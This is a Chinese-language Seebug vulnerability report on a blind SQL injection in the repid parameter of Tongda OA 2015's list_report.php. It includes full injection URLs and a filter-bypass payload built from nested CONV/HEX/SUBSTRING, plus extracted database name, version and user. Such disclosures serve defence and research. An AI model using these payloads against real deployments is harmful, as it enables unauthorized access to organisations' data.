通达OA Office Anywhere 2015版网络智能办公系统一处盲注漏洞/demo测试(需登录)

2015-11-04T00:00:00
ID SSV:96128
Type seebug
Reporter Root
Modified 2015-11-04T00:00:00

Description

简要描述:

最新版,绕过过滤,直接注

详细说明:

厂商:通达信科 测试demo地址:.../ 从官网(http://.../)直接点击集团版在线试用 进去以后,注入出在:list_report.php文件中

注入地址:**.**.**.**/general/data_center/model_design/design/report/list_report.php?repid=1&openmode=design&menu_id=1 参数repid可注入

直接在repid参数后加入一个a,直接把SQL爆出来了

错误,请联系管理员 SQL语句: select * from crs_report where id in (1a) order by orderno, repno 文件:/general/data_center/model_design/design/report/list_report.php 管理模板 - 未指定类型 错误,请联系管理员 SQL语句: select * from crs_report where id in (1a) order by orderno, repno 文件:/general/data_center/model_design/design/report/list_report.php

<img src="https://images.seebug.org/upload/201510/19142459f27e19ce1938694754fb3ff86e0cd55b.png" alt="1015-8.png" width="600" onerror="javascript:errimg(this);">

下面是注入难点:

通过观察需要构造闭合括号,然后采用报错注入,上去执行发现 (1)凡是SQL执行出错的情况,程序都会输出出错的SQL; (2)带有危险函数时,均被过滤****这个最不好绕过 (3)不能带有注释 (4)不能union查询

过滤了注释符:

<img src="https://images.seebug.org/upload/201510/19143244b9b927b0c4d9f1ca858eed5f95fb7b28.png" alt="1015-9.png" width="600" onerror="javascript:errimg(this);">

报错注入执行不了

<img src="https://images.seebug.org/upload/201510/19143549548f2d6c6538ceb17a705a0a7cc49bf0.png" alt="1015-10.png" width="600" onerror="javascript:errimg(this);">

不能union

<img src="https://images.seebug.org/upload/201510/19143600e44d03a6d6f6be0ca834750f5e5690a7.png" alt="1015-11.png" width="600" onerror="javascript:errimg(this);">

只能是盲注了。。。( ▼-▼ ) 下面就是构造注入 执行如下语句,通过!

**.**.**.**/general/data_center/model_design/design/report/list_report.php?repid=1)and(1=1&openmode=design&menu_id=1 盲注构造:)and(1=1

<img src="https://images.seebug.org/upload/201510/19143752004d2d5d956b1938a7267f1851fc0370.png" alt="1015-12.png" width="600" onerror="javascript:errimg(this);">

可是问题又来了,危险函数均被过滤了。。。只能有一些特别基本的SQL。。。

**.**.**.**/general/data_center/model_design/design/report/list_report.php?repid=1)and ascii(a)=97 and(1=1&openmode=design&menu_id=1

ascii都被过滤了。。。

<img src="https://images.seebug.org/upload/201510/1914405773d3dba388c85af377a39c2532af6502.png" alt="1015-13.png" width="600" onerror="javascript:errimg(this);">

其次hex也无法单独去跑,因为涉及字符串,引号就不好过了 想法设法绕过,最后经过一段时间折腾终于有一个payload可以通过,(●'◡'●) 套3层函数,实现ascii函数功能,终于绕过。 exp如下

**.**.**.**/general/data_center/model_design/design/report/list_report.php?repid=1)and CONV(HEX(SUBSTRING(database(),1,1)),16,10)=116 and(1=1&openmode=design&menu_id=1

<img src="https://images.seebug.org/upload/201510/19144840f12a2716f69ffd26c3c74e49a7cebb7c.png" alt="1015-14.png" width="600" onerror="javascript:errimg(this);">

下面就写脚本开始注

<img src="https://images.seebug.org/upload/201510/19145021fa7647c7821342c6b7c447b112479e36.png" alt="1015-database.png" width="600" onerror="javascript:errimg(this);">

跑出database:

td_oa

<img src="https://images.seebug.org/upload/201510/19145209ecf9ff10be756622350dd8592c4b8572.png" alt="1015-version.png" width="600" onerror="javascript:errimg(this);">

跑出version,字段长度好长啊,但是还不确定:

5.5.36-enterprise-commercial-advanced-log

<img src="https://images.seebug.org/upload/201510/19145216217416fd425140a19fbacceb9c682bdd.png" alt="1015-user.png" width="600" onerror="javascript:errimg(this);">

继续跑出user:

root@**.**.**.**

还是root权限

漏洞证明:

<img src="https://images.seebug.org/upload/201510/19145237b332e04973f71b513f8bed74fc07bd11.png" alt="1015-database.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201510/19145209ecf9ff10be756622350dd8592c4b8572.png" alt="1015-version.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201510/19145216217416fd425140a19fbacceb9c682bdd.png" alt="1015-user.png" width="600" onerror="javascript:errimg(this);">